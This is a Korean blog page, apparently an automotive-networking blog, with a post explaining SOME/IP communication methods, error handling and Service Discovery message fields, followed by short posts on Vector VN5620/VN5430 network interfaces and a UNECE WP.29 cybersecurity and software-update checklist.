규격에서 제안 하는 SOME/IP 통신 방법은 Request/Response(Method), Fire&Forget, Events, Field 총 4가지 이다.

아래 그림으로 충분히 설명이 가능 할 것이다.

   
   

 

- Error Handling

Error 발생 시 규격에서 제안 하는 방법은 총 2가지 존재한다.

  • Return codes in the Response Messages of methods.
  • Explicit Error Messgaes

Response Message의 Returen code에 Error code를 Returne 해주는 방법 과 Paload에 Error mesage(Message Type 0x81)을 담아서 보내는 방법이 있다.

후자는 Consumer Provider 간의 Error message 약속이 존재해야 한다.

글쓴이가 느끼기엔 Error Handling 관련 부분이 타 Protocol Spec(RFC, 3GPP) 대비 많이 부족한 부분인것 같다.

앞으로 많은 부분이 Update 될 것 같다.

 

3. SOME/IP Service Discovery(SOME/IP-SD)

각 Provider 와 Consumer는 시작 전 서로의 정보(Version, IP address, Port ...)들을 알고 있지 않는다.

SOME/IP Service Discovery라는 Step을 통해서 Provider 와 Consumer간 서로의 정보를 교환하게 된다.

 

경험상 SOME/IP-SD flow 다음과 같이 2가지가 존재 할 수 있다.

1) TTL 안에 OfferService가 오는 경우

2) TTL expired 된 후 FindService가 전송 되는 경우

Concept OfferService와 FindService를 통해 서로의 IP addres, Port 등등을 주고 받는 것이며,

주고 받은 정보 기반으로 SOME/IP 통신을 하게 된다.

 

SOME/IP-SD는 Mulitcast를 이용하기 때문에 무조건 UDP 를 사용해야 한다.

이와 관련된 자세한 내용을 알기 위해서는 규격의 StateMachine Diagram을 이해 하는 것이 좋다.

 

여기서 주의 할 것은 Subscribe는 Mandatory가 아니다, Event 혹의 Field의 Notication이 필요 없을 경우는 Subscription 과정을 생략 해도 된다.

1) TTL 안에 OfferService가 오는 경우 2) TTL expired 된 후 FindService가 전송 되는 경우
   

 

 

- Message format

SOME/IP의 Payload에 SOME/IP-SD Header와 Option이 위치하게 된다.

각 Header들은 규격을 읽어 보길 추천한다.

아래는 중요한 것들만 요약 하였다.

Type = SD Type

더보기
닫기

[0x00] = FindService

[0x01] = OfferService

[0x02] = RequestService
[0x03] = RequestServiceAck
[0x04] = FindEventgroup
[0x05] = PublishEventgroup
[0x06] = SubscribeEventgroup
[0x07] = SubscribeEventgroupAck

Index 1st options = option reference index

Service ID = Vehicle에서 Service Unique ID

Instance ID = Service 하위의 Instance ID 

TTL = OfferService lifetime,  Note : TTL Timer Expired 시 Client에서 FindService가 전송 됨

Type = option type, ( [0x06] = "IPv6 Endpoint Option”=>IPv6 사용)

IPv4/6 Address = SOME/IP 를 수신 받기 위한 Local IP

L4-Proto = Transport Layer Protocol, (0x06(TCP), 0x11(UDP))

Port Number = SOME/IP 를 수신 받기 위한 Port

 

- State Machine

가장 중요한 그림이다.

아래 그림만 이해 할 수 있으면 SOME/IP-SD 반은 이해 한다고 볼 수 있다.

머리속으로 상상해 가며 State Machine을 따라 가보 기를 권장한다.

Provider(Server) Consumer(Client)
   

 

 

블로그 이미지

wtdsoul

,

VN5620 / VN5430 | Vector

 

VN5620 / VN5430

차량용 Ethernet 및 CAN/CAN FD를 위한 고성능 네트워크 인터페이스

www.vector.com

 

VN5620/VN5430 – 차량용 Ethernet 및 CAN/CAN FD를 위한 고성능 네트워크 인터페이스

블로그 이미지

wtdsoul

,

WP29 checklist_1.pdf (autocrypt.co.kr)

 

출처 : UN 유럽 경제위원회 정보부 면책 조항 :이 문서는 정보 제공만을 목적으로 합니다. 특정 문제 또는 사실적 상황에 대한 법적 의견 또는 법적 조언에 의존하거나 해석해서는 안됩니다. WP.29 의 궁금한 사항은 AUTOCRYPT 팀에 직접 문의 부탁드립니다. UNECE WP.29 체크리스트 2020 년 6 월 UN 은 자동차 사이버 보안에 관한 두 가지 새로운 규정을 공식적으로 채택했습니다. 이에 따라 자동차 산업에 종사하는 경우 조직에서 수행해야 하는 몇 가지 작업 (OEM, Tier-1 공급 업체, 소프트웨어 제공 업체 등)이 있습니다. CYBER SECURITY MANAGEMENT SYSTEMS (CSMS).. 일반 산업 / 부문 차량 설계에서 사이버 보안 위험 식별 및 관리 테스트를 포함한 위험관리 확인 위험평가가 최신 상태로 유지되고 있는지 확인 사이버 공격 모니터링 및 대응 사이버 보안 성공된 사례 분석 지원 새로운 위협 및 취약성 평가 제조업체 부문 CSMS 차량적용가능 확인 위험평가 분석 및 주요사항 식별 위험을 줄이기 위한 완화 조치 식별 완화 조치가 의도대로 작동하는지 식별 사이버공격에 대한 예방조치 확인 차량 유형별 활동 모니터링 모니터링 활동 보고서 승인기관 전송 SOFTWARE UPDATE MANAGEMENT SYSTEMS (SUMS).. 일반 산업 / 부문 차량유형에 대한 하드웨어 및 소프트웨어 버전 기록 형식승인과 관련된 소프트웨어 식별 소프트웨어 구성요소 확인 소프트웨어 업데이트 및 상호 종속성 확인 차량 표적 식별 및 소프트웨어 업데이트 호환성 확인 소프트웨어 업데이트가 매개변수에 영향을 미치는지 확인 소프트웨어 업데이트가 안전에 영향을 미치는지 확인 차량 소유자에게 소프트웨어 업데이트 알림 제조업체 부문 SUMS 차량적용가능 확인 소프트웨어 매커니즘 보호 및 무결성 보장 소프트웨어 식별번호 보호 차량에서 소프트웨어 식별번호 가능여부 확인 출처 : UN 유럽 경제위원회 정보부 면책 조항 :이 문서는 정보 제공만을 목적으로 합니다. 특정 문제 또는 사실적 상황에 대한 법적 의견 또는 법적 조언에 의존하거나 해석해서는 안됩니다. WP.29 의 궁금한 사항은 AUTOCRYPT 팀에 직접 문의 부탁드립니다. OVER-THE-AIR (OTA) SOFTWARE UPDATES.. 업데이트 실패 시 복원기능 전원이 충분한 경우만 업데이트 실행 안전한 실행 보장 사용자에게 업데이트 완료됨을 확인 필요 차량이 업데이트 실행이 가능한지 확인 필요 정비가 필요할 경우 사용자에게 알림 필요

블로그 이미지

wtdsoul

,